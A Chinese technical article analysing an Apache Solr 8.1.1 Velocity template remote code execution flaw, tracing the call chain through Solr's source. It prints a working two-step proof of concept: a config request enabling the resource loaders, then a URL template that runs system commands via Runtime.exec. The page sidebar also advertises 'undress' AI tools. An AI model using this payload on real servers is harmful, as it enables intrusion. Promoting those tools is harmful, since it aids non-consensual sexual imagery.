目录
引言
漏洞复现
原理
修复方案
首页 运维 安全 怎样进行Apache Solr最新RCE漏洞分析

怎样进行Apache Solr最新RCE漏洞分析

May 25, 2023 pm 06:58 PM
rce apache solr

引言

Apache Solr爆出RCE 0day漏洞(漏洞编号未给出),这里简单的复现了对象,对整个RCE的流程做了一下分析,供各位看官参考。

漏洞复现

复现版本:8.1.1

实现RCE,需要分两步,首先确认,应用开启了某个core(可以在Core Admin中查看),实例中应用开启了mycore,

怎样进行Apache Solr最新RCE漏洞分析

然后先向其config接口发送以下json数据,

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
登录后复制

怎样进行Apache Solr最新RCE漏洞分析

接着访问如下url,即可实现RCE,

/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
登录后复制

原理

首先去分析第一个数据包,因为是对mycore的配置,所以我们先把断点打在处理配置请求的SolrConfigHandler的handleRequestBody函数上,

怎样进行Apache Solr最新RCE漏洞分析

因为是POST的请求,跟进handlePOST函数,

怎样进行Apache Solr最新RCE漏洞分析

在handlePOST中,先取出mycore的当前配置,再和我们发送的配置同时带进handleCommands函数,并在后续的操作中,最终进到addNamedPlugin函数,创建了一个VelocityResponseWriter对象,该对象的 solr.resource.loader.enabled和params.resource.loader.enabled的值设置成了true,该对象的name为velocity。

怎样进行Apache Solr最新RCE漏洞分析

然后在发送第二个数据包的时候,在HttpSolrCall.call中获取responseWriter的时候,会根据参数wt的值去获取reponseWriter对象,当wt为velocity时,获取的就是我们精心配置过的VelocityResponseWriter

怎样进行Apache Solr最新RCE漏洞分析

怎样进行Apache Solr最新RCE漏洞分析

在后续一连串调用后最终进入我们本次漏洞中最重的的VelocityResponseWriter.write函数,首先调用createEngine函数,生成了包含custom.vrm->payload的恶意template的engine,

怎样进行Apache Solr最新RCE漏洞分析

恶意的template放在engine的overridingProperties的params.resource.loader.instance和solr.resource.loader.instance中

怎样进行Apache Solr最新RCE漏洞分析

这里有一个很重要的点,要想让恶意template进入params.resource.loader.instance和solr.resource.loader.instance中,是需要保证paramsResourceLoaderEnabled和solrResourceLoaderEnabled为True的,这也就是我们第一个数据包做的事情,

怎样进行Apache Solr最新RCE漏洞分析

然后再VelocityResponseWriter.getTemplate就会根据我们提交的v.template参数获取我们构造的恶意template

怎样进行Apache Solr最新RCE漏洞分析

最终取出了恶意的template,并调用了它的merge方法,

怎样进行Apache Solr最新RCE漏洞分析

要了解这个template就需要了解一下Velocity Java 模板引擎(因为这个tmplate是org.apache.velocity.Template类对象),官方说法翻译一下如下,

Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
登录后复制

从这个说法,就能看出这个模板引擎是具有执行java代码的功能的,我们只需了解一下它的基本写法,

// 变量定义
#set($name =“velocity”)
// 变量赋值
#set($foo = $bar)
// 函数调用
#set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) 
// 循环语法
#foreach($element in $list)
 This is $element
 $velocityCount
#end
// 执行模板
template.merge(context, writer);
登录后复制

有了上面这些基本的语法介绍,我们就能理解payload的构造方法了,如果希望更深入的了解,可以自行再去查阅Velocity Java 的资料,我们这里不再深入。

于是通过最后调用的恶意template的merge方法,成功造成了RCE,最后补上关键的调用链。

怎样进行Apache Solr最新RCE漏洞分析

修复方案

目前官方还未给出补丁,建议对solr做一下访问限制吧。

以上是怎样进行Apache Solr最新RCE漏洞分析的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热门文章

<🎜>:泡泡胶模拟器无穷大 - 如何获取和使用皇家钥匙
4 周前 By 尊渡假赌尊渡假赌尊渡假赌
北端:融合系统,解释
4 周前 By 尊渡假赌尊渡假赌尊渡假赌
Mandragora:巫婆树的耳语 - 如何解锁抓钩
4 周前 By 尊渡假赌尊渡假赌尊渡假赌
<🎜>掩盖:探险33-如何获得完美的色度催化剂
2 周前 By 尊渡假赌尊渡假赌尊渡假赌

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

热门话题

Java教程
1677
14
CakePHP 教程
1429
52
Laravel 教程
1333
25
PHP教程
1278
29
C# 教程
1257
24